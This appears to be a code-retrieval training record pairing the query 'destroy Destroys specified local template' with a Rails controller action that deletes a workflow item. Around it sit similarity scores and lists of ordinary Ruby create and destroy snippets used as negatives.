"def run_action_create(item)\n unless ENV[\"EDITOR\"]\n raise ArgumentError.new \"$EDITOR must be set for create/edit commands!\"\n end\n begin\n item = validate_item(item)\n rescue ArgumentError\n new_item = true\n item = new_item(item)\n end\n FileUtils.mkdir_p(File.dirname(item))\n tmp = Bogo::EphemeralFile.new([\"sfn-parameters\", \".json\"])\n content = new_item ? NEW_ITEM_DEFAULT : load_json(File.read(item)).to_smash\n if content[:sfn_parameters_lock]\n ui.print ui.color(\" *\", :bold)\n ui.print \" Unlocking #{ui.color(item, :bold)} for edit... \"\n content = unlock_content(content)\n ui.puts ui.color(\"unlocked\", :green)\n end\n lock_enabled = content.delete(:sfn_lock_enabled) || new_item\n tmp.write(format_json(content))\n tmp.flush\n system(\"#{ENV[\"EDITOR\"]} #{tmp.path}\")\n content = load_json(File.read(tmp.path)).to_smash\n ui.print ui.color(\" *\", :bold)\n if lock_enabled\n ui.print \" Locking #{ui.color(item, :bold)} for storage... \"\n content = lock_content(content)\n ui.puts ui.color(\"locked\", :blue)\n else\n ui.puts \" Storing #{ui.color(item, :bold)} for storage... #{ui.color(\"unlocked\", :yellow)}\"\n end\n File.write(item, format_json(content))\n tmp.close\n end",
"def create\n @poll_workflow_state = PollWorkflowState.new(params[:poll_workflow_state])\n\n respond_to do |format|\n if @poll_workflow_state.save\n format.html { redirect_to @poll_workflow_state, notice: 'Poll workflow state was successfully created.' }\n format.json { render json: @poll_workflow_state, status: :created, location: @poll_workflow_state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @poll_workflow_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def copy(user_id, item_id)\n workflow = Workflow.new\n workflow.users = self.users\n workflow.status = self.status\n workflow.issued_at = self.issued_at\n workflow.decided_at = self.decided_at\n if self.original_by.nil? and self.user_id != 0\n workflow.original_by = self.user_id\n else\n workflow.original_by = self.original_by\n end\n workflow.item_id = item_id\n workflow.user_id = user_id\n\n workflow.save!\n\n return workflow\n end",
"def make_todo(attributes)\n ToDo.create(attributes)\n end",
"def create_todo_item(title, description)\n new_item = Todoitem.new\n new_item.title = title\n new_item.description = description\n new_item.save\n end",
"def create_submission_folder\n submission_folders.create(name: 'Submissions', is_permanent: true)\n end",
"def create(folder)\n # Ensure API availability\n api.call(\"system\", \"greet\")\n\n api.call(files_project, \"newFolder\", { parents: true, folder: folder })\n end",
"def createToDo title, description\n item = Todo.new\n item.title = title\n item.description = description\n item.save\nend",
"def workflow=(value)\n @workflow = value\n end",
"def create(params = {})\n item = build(params)\n item.save\n item\n end",
"def set_workflow\n @workflow = Workflow.find(params[:id])\n end",
"def create(attributes)\n response = JSON.parse(@client.post('items', attributes).body)\n Promisepay::Item.new(@client, response['items'])\n end",
"def create_workflow_tasks(epeople)\n epeople.each do |eperson|\n table_row = Java::OrgDspaceStorageRdbms::DatabaseManager.row('tasklistitem')\n table_row.setColumn('eperson_id', eperson.getID)\n table_row.setColumn('workflow_id', id)\n Java::OrgDspaceStorageRdbms::DatabaseManager.insert(self.class.kernel.context, table_row)\n\n self.class.kernel.commit\n\n self.state = Java::OrgDspaceWorkflow::WorkflowManager::WFSTATE_STEP1POOL\n update\n end\n end",
"def create_team_folder\n\n folder = Folder.new\n folder.name = self.name\n folder.parent_id = 0\n folder.owner_id = self.id\n folder.xtype = Folder::XTYPE_TEAM\n folder.read_teams = '|'+self.id.to_s+'|'\n folder.write_teams = '|'+self.id.to_s+'|'\n folder.save!\n\n return folder\n end",
"def set_workflow\n @workflow = Workflow.friendly.find(params[:id])\n end",
"def create\n @todo_item = @todo_list.todo_items.create(todo_item_params) \n redirect_to @todo_list, notice: \"Todo item added\"\n end",
"def create!(name, params = {})\n item = build(name, params)\n item.save!\n item\nend",
"def set_workflow\n @workflow = Workflow.find(params[:id])\n end",
"def set_workflow\n @workflow = Workflow.find(params[:id])\n end",
"def set_workflow\n @workflow = Workflow.find(params[:id])\n end",
"def create(validate_only: false)\n job = generate_full_data\n job[\"treenode_id\"] = @treenode_id\n job[\"copyright\"] = @copyright\n params = {}\n params[:validate_only] = true if validate_only\n @dflow_api.create_job(job: job, params: params)\n end",
"def create\n create_directories\n end",
"def start(workflow_definition, transition_name, document=nil)\n# puts \"ok\"\n# puts workflow_definition.name\n# puts transition\n# puts \"starting #{workflow_definition.name} with #{transition}\"\n workflow_instance = WorkflowInstance.new\n\n #workflow_instance.document = document\n\n\n #convert from workflow_definition to persistent_workflow_definition\n persistent_workflow_definition = self.find_workflow_definition(workflow_definition.name, workflow_definition.version)\n workflow_instance.workflow_definition = persistent_workflow_definition\n workflow_instance.workflow_name = persistent_workflow_definition.name\n workflow_instance.save!\n\n workflow_step = WorkflowStep.new\n workflow_step.workflow_instance = workflow_instance\n\n workflow_step.workflow_step_definition = persistent_workflow_definition.workflow_step_definitions[0]\n\n workflow_step.document = document\n workflow_step.save!\n\n transit(workflow_step, transition_name, document)\n #then take a transition step to persistent_workflow_definition.workflow_step_definitions[1]\n end",
"def team_folder_create(folder:, trace: false)\n dropbox_query(query: '2/team/team_folder/create', query_data: \"{\\\"name\\\":\\\"#{folder}\\\"}\", trace: trace)\n end",
"def start_workflow(workflow_id:)\n post(url: \"#{@url}workflows/#{workflow_id}/state\")\n end",
"def start_the_wf\n self.workflow_action = \"start\"\n trigger_workflow \n end",
"def new_workflow_note\n @new_workflow_note ||= ChangeSet.for(WorkflowNote.new)\n end",
"def create\n params[:file_item][:parent_id] = nil if params[:file_item][:parent_id].blank?\n @file_item = FileItem.cs(self.current_scope).new(params[:file_item])\n\n respond_to do |format|\n if @file_item.save\n format.html { redirect_to @file_item, :notice => 'File item was successfully created.' }\n format.json { render :json => @file_item, :status => :created, :location => @file_item }\n else\n format.html { render :action => \"new_#{@file_item.item_type}\" }\n format.json { render :json => @file_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_work_item_to(issue_id, attributes={})\n attributes = attributes.to_hash\n attributes.symbolize_keys!\n attributes[:date] ||= Date.current.iso8601\n epoc_date = Date.parse(attributes[:date]).to_time.to_i * 1000\n attributes[:user] ||= self.service.login\n work_items = REXML::Element.new('workItems')\n work_item = work_items.add_element('workItem')\n work_item.add_element('author').add_attribute('login', attributes[:user])\n work_item.add_element('date').add_text(epoc_date.to_s)\n work_item.add_element('duration').add_text(attributes[:duration].to_s)\n work_item.add_element('description').add_text(attributes[:description])\n put(\"import/issue/#{issue_id}/workitems\", body: work_items.to_s, :headers => {'Content-type' => 'text/xml'} )\n response\n end",
"def create\n @activity_item = ActivityItem.new(params[:activity_item])\n\n respond_to do |format|\n if @activity_item.save\n format.html { redirect_to @activity_item, notice: 'Activity item was successfully created.' }\n format.json { render json: @activity_item, status: :created, location: @activity_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo_item = @todo_list.todo_items.new(todo_item_params)\n\n if @todo_item.save\n redirect_to @todo_list, notice: 'Todo item was successfully created.'\n else\n redirect_to @todo_list, alert: 'Todo item failed to be created.'\n end\n end",
"def create\n parent = Object.const_get(session[:team_type]).find(params[:id])\n begin\n Team.check_for_existing(parent, params[:team][:name], session[:team_type])\n @team = Object.const_get(session[:team_type] + 'Team').create(name: params[:team][:name], parent_id: parent.id)\n TeamNode.create(parent_id: parent.id, node_object_id: @team.id)\n undo_link(\"The team \\\"#{@team.name}\\\" has been successfully created.\")\n redirect_to action: 'list', id: parent.id\n rescue TeamExistsError\n flash[:error] = $ERROR_INFO\n redirect_to action: 'new', id: parent.id\n end\n end",
"def create_manifests_node\n Bebox::Provision.add_node_to_step_manifests(self.project_root, self)\n end",
"def generate_workflow_data(format, cgi, item_entry, item, required_item_version, wf_version, download_allowed)\n workflow_data = \"\"\n workflow_metadata = generate_item_metadata(format, cgi, item_entry)\n \n case format.downcase\n when \"html\"\n workflow_data += cgi.li(\"class\" => \"workflow\"){\n cgi.div(\"class\" => \"workflow_item\") do\n cgi.div(\"class\" => \"item_data\") do\n \"<b>Workflow: </b>\" + cgi.a(location_string(item_entry.contributable_type, item.id, wf_version)){required_item_version.title} + \n (download_allowed ? (\" [ \" + cgi.a(\"./workflows/\" + item.filename(wf_version)){\"open local copy\"} + \" ]\") : \"\") + \"<br/>\" +\n \"Type: <span class='workflow_type'>\" + item.type_display_name() + \"</span><br/>\" +\n \"Originally uploaded by: \" + uploader_string(item.contribution.contributor_type, item.contribution.contributor_id, true, false) + \"<br/>\" +\n \"Version: #{wf_version} (created on: #{required_item_version.created_at.strftime(\"%d/%m/%Y\")}, last edited on: #{required_item_version.updated_at.strftime(\"%d/%m/%Y\")})<br/>\" +\n \"Version uploaded by: \" + uploader_string(required_item_version.contributor_type, required_item_version.contributor_id, true, false) + \"<br/>\"\n end +\n workflow_metadata \n end\n }\n \n when \"text\"\n workflow_data += \"+ Workflow: #{item.title}\"\n if download_allowed\n workflow_data += \" (local copy: workflows/#{item.filename(wf_version)})\"\n end\n workflow_data += \"\\n Type: \" + item.type_display_name()\n workflow_data += \"\\n Location: \" + location_string(item_entry.contributable_type, item.id, wf_version)\n workflow_data += \"\\n Originally uploaded by: \" + uploader_string(item.contribution.contributor_type, item.contribution.contributor_id, false, false)\n workflow_data += \"\\n Version: #{wf_version} (created on: #{required_item_version.created_at.strftime(\"%d/%m/%Y\")}, last edited on: #{required_item_version.updated_at.strftime(\"%d/%m/%Y\")})\"\n workflow_data += \"\\n Version uploaded by: \" + uploader_string(required_item_version.contributor_type, required_item_version.contributor_id, false, false) + \"\\n\"\n workflow_data += workflow_metadata\n else\n return \"ERROR\"\n end\n \n return workflow_data\n end",
"def create\n project = Project.create!(\n :name => \"created by #{params[:cash_position][:name]}\", \n :workflow_status_id => 1,\n :handler_id => current_user.id\n )\n @cash_position = CashPosition.new(params[:cash_position])\n @cash_position.project_id = project.id\n @cash_position.workflow_status_id = 1\n\n respond_to do |format|\n if @cash_position.save\n format.html { redirect_to(@cash_position, :notice => 'Cash position was successfully created.') }\n format.xml { render :xml => @cash_position, :status => :created, :location => @cash_position }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cash_position.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @launch_item = LaunchItem.new(params[:launch_item])\n\n respond_to do |format|\n if @launch_item.save\n format.html { redirect_to @launch_item, notice: 'Launch item was successfully created.' }\n format.json { render json: @launch_item, status: :created, location: @launch_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @launch_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_todo_item(name, list_id)\n data = {\n item: {\n name: name\n }\n }\n rest(\"post\", \"lists/#{list_id}/items\", data)\n end",
"def workflow\n end",
"def create_workflow_hash\n self.workflow_hash= {}\n \n # define test flow\n # self.workflow_hash[:test]={}\n # self.workflow_hash[:test][:type]='RUBY' #or url\n # self.workflow_hash[:test][:process_flow]= TheProcessDefinition0\n # define test2 flow\n # self.workflow_hash[:test2]={}\n # self.workflow_hash[:test2][:type]='RUBY' #or url\n # self.workflow_hash[:test2][:process_flow]= TheProcessDefinition2\n # define balance transfer flow\n ids= [:transfer, :pasaload, :load, :dispense_pin, :dealer_load, :balance_inquiry, :worktest]\n ids.each { |i| \n self.workflow_hash[i]={}\n self.workflow_hash[i][:type]='URL' #or url\n self.workflow_hash[i][:url]= \"process/process_definitions/#{i.to_s}.xml\"\n self.workflow_hash[i][:host]= 'localhost'\n self.workflow_hash[i][:host]= 'svbalance.cure.com.ph' if Socket.gethostname == \"svbalance.cure.com.ph\" \n self.workflow_hash[i][:port]= '8080'\n }\n \nend",
"def create_task\n\t@task = Task.create(:quest_id => params[:id], :user_id => @current_user.id, :title => params[:task][:title])\n\tredirect_to quest_path(params[:id])\n\tend",
"def create_folder (folder_path, params = \"-p\")\n \"mkdir #{params} '#{folder_path}'\"\n end",
"def create\n\n #@workitem = Workitem.new(workitem_params)\n @workitem.user_id = current_user.id\n\n respond_to do |format|\n if @workitem.save\n format.html { redirect_to @workitem, notice: 'Workitem was successfully created.' }\n format.json { render action: 'show', status: :created, location: @workitem }\n else\n format.html { render action: 'new' }\n format.json { render json: @workitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_workflow\n\t\t@workflow = Workflow.find(params[:id])\n\tend",
"def set_workflow\n @workflow = Workflow.find(params[:id])\n end",
"def create_milestones(project_id, milestones)\n records \"milestone\", \"/projects/#{project_id}/milestones/create\", :milestone => milestones\n end",
"def create_milestones(project_id, milestones)\n records \"milestone\", \"/projects/#{project_id}/milestones/create\", :milestone => milestones\n end",
"def workflow_exists\n errors.add(:workflow, 'is not valid') unless valid_workflow?\n end",
"def create_item(content, attributes, identifier)\n # Get filenames\n base_path = 'content' + (identifier == '/' ? '/index' : identifier[0..-2])\n meta_filename = base_path + '.yaml'\n content_filename = base_path + '.html'\n\n # Notify\n Nanoc3::NotificationCenter.post(:file_created, meta_filename)\n Nanoc3::NotificationCenter.post(:file_created, content_filename)\n\n # Create files\n FileUtils.mkdir_p(File.dirname(meta_filename))\n File.open(meta_filename, 'w') { |io| io.write(YAML.dump(attributes.stringify_keys)) }\n File.open(content_filename, 'w') { |io| io.write(content) }\n end",
"def create\n @journal = current_user.journals.find(params[:journal_id])\n @task = @journal.tasks.find(params[:task_id])\n @task.descriptions.create\n redirect_to journal_task_path(@journal, @task)\n end",
"def create_successor_task()\n\n tsk = WorkflowTask.new\n tsk.owner_id = owner_id\n tsk.workflow_task_type_id = workflow_task_type_id\n tsk.target_id = target_id\n\n return tsk\n end",
"def CreateTasksForUserStory (aUserStory, tasks)\n\n\trally = RallyRestAPI.new(:base_url => @base_url, :username => @user_name, :password => @password)\n\n\tquery_result = rally.find(:hierarchical_requirement) {equal :formatted_i_d, aUserStory}\n\n\tuserStory = query_result.results.first\n\n\ttasks.each { |task| \n\n\t\tfields = {\n\t\t\t :work_product => userStory,\n\t\t\t :name => task,\n\t\t\t :state => \"Defined\",\n\t\t\t :estimate => 1,\n\t\t\t :to_do => 1\n\t\t}\n\n\t\trally.create(:task, fields)\n\n\t\tprint aUserStory + \":\" + task + \" - OK\\n\"\n\t}\nend",
"def create\n create_params = item_params\n item = Item.new(\n name: create_params[:name], \n is_complete: false, #create_params[:is_complete], \n list_id: create_params[:list_id])\n\n item.save!\n render json: item\n end",
"def create_workflows_export\n Pundit.policy!(@user, @klass).scope_for(:create_workflows_export)\n end",
"def create_item(list_id, content, responsible_party=nil, notify=true)\n record \"/todos/create_item/#{list_id}\",\n :content => content, :responsible_party => responsible_party,\n :notify => notify\n end",
"def createItem(title, description, date)\n new_item = List.new\n new_item.title = title\n new_item.description = description\n new_item.save\n new_item.date = date\n end",
"def set_workflow(workflow_data)\n @workflow = CompanyApi::Response::Entity::Workflow.new(workflow_data)\n end",
"def create\n @todo_item = TodoItem.new(todo_item_params)\n\n respond_to do |format|\n if @todo_item.save\n format.html { redirect_to :root, notice: 'Your new task was successfully created.' }\n format.json { render :show, status: :created, location: @todo_item }\n else\n format.html { render :new }\n format.json { render json: @todo_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_item\n @item = Fox_Item.new(self, @content.join(\"\\t\"), @icon, @icon)\n end",
"def show\n workflow_steps = WorkflowStep.where(\n repository: params[:repo],\n druid: params[:druid],\n workflow: params[:workflow]\n ).order(:workflow, created_at: :asc)\n @workflow = Workflow.new(name: params[:workflow], repository: params[:repo], druid: params[:druid], steps: workflow_steps)\n end",
"def create\n @manifest_item = ManifestItem.new(params[:manifest_item])\n\n respond_to do |format|\n if @manifest_item.save\n format.html { redirect_to @manifest_item, notice: 'Manifest item was successfully created.' }\n format.json { render json: @manifest_item, status: :created, location: @manifest_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manifest_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_file_and_folder\n begin\n Dir::mkdir(@directory)\n rescue Errno::EEXIST\n end\n FileUtils.touch \"#{@directory}/#{@store}.yml\"\n end",
"def create\n item = list.items.create!(item_params)\n render json: item, status: 201\n end",
"def create(item_attrs = {})\n body = { value: item_attrs }\n Iterable.request(conf, base_path).put(body)\n end",
"def create\n @item = Item.new(item_params)\n\n if @item.save\n render json: @item\n else\n render json: { error: t('story_create_error') }, status: :unprocessable_entity\n end\n end",
"def create\n taskfolderparams = params[:task_folder]\n\t@project = Project.find(taskfolderparams[:project_id])\n\ttaskfolderparams[:project] = @project\n\tparent_id = taskfolderparams[:parent_id]\n\t@parent = nil\n\tif parent_id != nil && parent_id != \"\"\n\t\t@parent = TaskFolder.find(parent_id)\n\tend\n\ttaskfolderparams[:parent] = @parent\n @task_folder = TaskFolder.new(taskfolderparams)\n\n respond_to do |format|\n if @task_folder.save\n format.html { redirect_to task_folder_url(@task_folder), notice: 'Task folder was successfully created.' }\n format.json { render json: @task_folder, status: :created, location: @task_folder }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @title = t('view.flows.new_title')\n @flow = Flow.new(params[:flow])\n\n respond_to do |format|\n if @flow.save\n format.html { redirect_to @flow, notice: t('view.flows.correctly_created') }\n format.json { render json: @flow, status: :created, location: @flow }\n else\n format.html { render action: 'new' }\n format.json { render json: @flow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slideshow_item = SlideshowItem.new(params[:slideshow_item])\n\n respond_to do |format|\n if @slideshow_item.save\n format.html { redirect_to @slideshow_item, notice: \"\\\"#{@slideshow_item.title}\\\" was successfully created.\".html_safe }\n format.json { render json: @slideshow_item, status: :created, location: @slideshow_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slideshow_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @step = @task.steps.build(params[:step])\n\n if @step.save\n redirect_to [@task,@step]\n else\n render :action => \"new\"\n end\n end",
"def create_new_task(data)\n new_task.click\n new_task_title.when_present.set data[:title] if data[:title]\n new_task_description.set data[:description] if data[:description]\n new_task_status.select data[:status] if data[:status]\n save_new_task.click\n end",
"def create\n @trip = Trip.find_by_id(params[:trip_id])\n @folder = @trip.folders.find_by_id(params[:folder_id])\n @reminder = @folder.reminders.create(reminder_params)\n if reminder_params[:mode]\n @reminder.create_activity key: 'Created Reminder', owner: @folder\n end\n respond_to do |format|\n if @reminder.save\n format.html { redirect_to @reminder, notice: 'Reminder was successfully created.' }\n format.json { render :show, status: :created, location: @reminder }\n else\n format.html { render :new }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @title = t('view.flows.new_title')\n @flow = Flow.new(flow_params)\n\n respond_to do |format|\n if @flow.save\n format.html { redirect_to flows_path, notice: t('view.flows.correctly_created') }\n format.json { render json: @flow, status: :created, location: @flow }\n else\n format.html { render action: 'new' }\n format.json { render json: @flow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @transition = @workflow_event.build_transition(transition_params)\n\n respond_to do |format|\n if @transition.save\n format.html { redirect_to workflow_event_transition_path(@workflow_event, @transition), notice: 'Transition was successfully created.' }\n format.json { render :show, status: :created, location: @transition }\n else\n format.html { render :new }\n format.json { render json: @transition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def start(workflow_definition, transition, document=nil)\n\n workflow_instance = WorkflowInstance.new\n\n #workflow_instance.document = document\n\n\n #convert from workflow_definition to persistent_workflow_definition\n persistent_workflow_definition = self.find_workflow_definition(workflow_definition.name, workflow_definition.version)\n workflow_instance.workflow_definition = persistent_workflow_definition\n workflow_instance.save!\n\n workflow_step = WorkflowStep.new\n workflow_step.workflow_instance = workflow_instance\n workflow_step.workflow_step_definition = persistent_workflow_definition.workflow_step_definitions[0]\n\n workflow_step.document = document\n workflow_step.save!\n\n transit(workflow_step, transition, document)\n #then take a transition step to persistent_workflow_definition.workflow_step_definitions[1]\n end",
"def create\n @checklist = Checklist.find(params[:checklist_item][:checklist_id])\n @checklist_item = ChecklistItem.new(params[:checklist_item])\n\n respond_to do |format|\n if @checklist_item.save\n @checklist.checklist_items << @checklist_item\n # format.html { redirect_to checklist_checklist_item_url(@checklist, @checklist_item), notice: 'Checklist item was successfully created.' }\n format.json { render json: @checklist_item, status: :created, location: @checklist_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @checklist_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @workflow = Workflow.new\n\n # open data/default_ecosystems.json and parse\n # object returned is an array of hashes... Ex:\n # p @ecosystems[0] # will return a Hash\n # p @ecosystems[0][\"category\"] # => \"native\"\n @ecosystems = JSON.parse( File.open( \"#{Rails.root}/public/data/default_ecosystems.json\" , \"r\" ).read )\n @name_indexed_ecosystems = JSON.parse( File.open( \"#{Rails.root}/public/data/name_indexed_ecosystems.json\" , \"r\" ).read )\n @ecosystem = @ecosystems[0]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workflow }\n end\n end",
"def test_create_folder\n request = CreateFolderRequest.new(path: remote_data_folder + '/TestCreateFolder')\n\n @words_api.create_folder(request)\n end"
] |
[
"0.7052993",
"0.69674337",
"0.69674337",
"0.69674337",
"0.69674337",
"0.67945206",
"0.6757799",
"0.66946924",
"0.66652304",
"0.6494174",
"0.6467244",
"0.634644",
"0.6294952",
"0.6276438",
"0.61853456",
"0.61554503",
"0.60976905",
"0.603969",
"0.5880176",
"0.5860548",
"0.58562535",
"0.5840642",
"0.5837207",
"0.58008015",
"0.57243603",
"0.5700835",
"0.5683418",
"0.56615305",
"0.56515926",
"0.56231487",
"0.55900085",
"0.55867505",
"0.55597866",
"0.5557718",
"0.55454975",
"0.5545272",
"0.5540173",
"0.553201",
"0.54893464",
"0.5485701",
"0.5472902",
"0.5458805",
"0.5458805",
"0.5458805",
"0.54521537",
"0.5447886",
"0.54262936",
"0.5423713",
"0.54227537",
"0.53913724",
"0.5383081",
"0.5382949",
"0.5381647",
"0.5371439",
"0.53682464",
"0.5365302",
"0.5354799",
"0.5352137",
"0.53516614",
"0.533256",
"0.532418",
"0.53232086",
"0.53225553",
"0.53197676",
"0.53196913",
"0.53188026",
"0.5318734",
"0.5311672",
"0.53000855",
"0.53000855",
"0.52992386",
"0.5298736",
"0.5296033",
"0.52892107",
"0.5288535",
"0.52853185",
"0.5279544",
"0.5278008",
"0.5276276",
"0.5274108",
"0.52721685",
"0.5267941",
"0.52640325",
"0.5258368",
"0.5258248",
"0.52443856",
"0.52393",
"0.52347934",
"0.5232367",
"0.52310014",
"0.5225811",
"0.522571",
"0.5223002",
"0.52211136",
"0.52179414",
"0.5214314",
"0.5214082",
"0.52083504",
"0.5205568",
"0.52003264"
] |
0.6879383
|
5
|
=== destroy Destroys specified local template.
|
def destroy
Log.add_info(request, params.inspect)
raise(RequestPostOnlyException) unless request.post?
workflow = Workflow.find(params[:id])
begin
workflow.item.destroy
rescue => evar
Log.add_error(nil, evar)
end
my_wf_folder = WorkflowsHelper.get_my_wf_folder(@login_user.id)
sql = WorkflowsHelper.get_list_sql(@login_user.id, my_wf_folder.id)
@workflows = Workflow.find_by_sql(sql)
render(:partial => 'ajax_workflow', :layout => false)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n destroy_resource @template, templates_url, t('templates.delete_success')\n end",
"def destroy\n @template.destroy\n end",
"def destroy\n if @template.destroy\n respond_ok \"template\", @template\n else\n respond_err \"template\", @template, @template.errors\n end\n end",
"def destroy\n @template = set_template\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n destroy_resource @argument, edit_template_url(@template), t('template_arguments.delete_success')\n end",
"def destroy\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to dashboard_path, notice: t('template_destroyed') }\n end\n\n end",
"def destroy\n @custom_template.destroy\n redirect_to custom_templates_url\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_template.destroy\n respond_to do |format|\n format.html { redirect_to my_templates_url, notice: 'My template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_path, notice: 'template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n mytemplate = Mytemplate.get(params[:id])\n close_document(mytemplate)\n \n begin\n if mytemplate != nil\n if File.exist?(mytemplate.path) \n FileUtils.rm_rf mytemplate.path\n end\n \n if File.exist?(mytemplate.file_path+mytemplate.id.to_s) \n FileUtils.rm_rf mytemplate.file_path+mytemplate.id.to_s\n end\n\n end\n rescue\n puts_message \"Error! in progress of mytemplate file deletion.\"\n end\n\n mytemplate.destroy\n \n respond_to do |format|\n format.html { redirect_to(mytemplates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lcb_template.destroy\n respond_to do |format|\n format.html { redirect_to lcb_templates_url, notice: 'Lcb template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cf_template.destroy\n respond_to do |format|\n format.html { redirect_to cf_templates_url, notice: I18n.t('cf_templates.msg.deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request_template.destroy\n respond_to do |format|\n respond format, 'Request template was successfully destroyed.'\n end\n end",
"def destroy\n @script_template.destroy\n\n respond_to do |format|\n format.html { redirect_to script_templates_url, notice: \"Script template was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to(templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @book_template.destroy\n\n FileUtils.rm_r(generate_book_template_files_path, {force: true})\n\n respond_to do |format|\n format.html { redirect_to book_templates_url, notice: 'Book template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @_template = @site.templates.find(params[:id])\n @_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_site_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mailee_template = Mailee::Template.find(params[:id])\n @mailee_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(mailee_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n template = Template.find(params[:id])\n authorize template\n versions = Template.includes(:plans).where(family_id: template.family_id)\n if versions.reject { |t| t.plans.empty? }.empty?\n versions.each do |version|\n if version.destroy!\n flash.now[:notice] = success_message(template, _('removed'))\n else\n flash.now[:alert] = failure_message(template, _('remove'))\n end\n end\n else\n flash.now[:alert] = _(\"You cannot delete a #{template_type(template)} that has been used to create plans.\")\n end\n if request.referer.present?\n redirect_to request.referer\n else\n redirect_to org_admin_templates_path\n end\n end",
"def destroy\n @template = CustomTemplate.find(params[:id])\n\t @template_studies = StudyTemplate.where(:template_id => @template.id).all\n\t for ts in @template_studies\n\t \tts.destroy\n\t end\n\t\t@template_columns = OutcomeColumn.where(:template_id => @template.id).all\n\t\tfor tc in @template_columns\n\t\t\ttc.destroy\n\t\tend\n @template.destroy\n\n respond_to do |format|\n format.html { \n\t\t\t\tunless params[:from] == 'home'\t\n \t\trender :update do |page|\n\t\t\t\t\t\tpage.reload\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tredirect_to root_url\n\t\t\t\tend\n\t \t}\n format.xml { head :ok }\n end\n end",
"def destroy\n @show_template.destroy\n respond_to do |format|\n format.html { redirect_back_to show_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise_template.destroy\n\n head :no_content\n end",
"def destroy\n @local.destroy\n respond_to do |format|\n format.html { redirect_to locals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post_template.destroy\n respond_to do |format|\n format.html { redirect_to post_templates_url, notice: 'Post template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attr_template.destroy\n respond_to do |format|\n format.html { redirect_to attr_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_template.destroy\n respond_to do |format|\n format.html { redirect_to question_templates_url, notice: 'Question template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @form_template.destroy\n respond_to do |format|\n format.html { redirect_to form_templates_url, notice: 'Formularvorlage wurde erfolgreich gelöscht' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @description_template.destroy\n respond_to do |format|\n format.html { redirect_to description_templates_url, notice: 'Description template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @track_template.destroy\n respond_to do |format|\n format.html { redirect_to track_templates_url, notice: 'Track template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_template = QuestionTemplate.find(params[:id])\n @question_template.destroy\n\n respond_to do |format|\n format.html { redirect_to question_templates_url }\n format.json { head :no_content }\n end\n end",
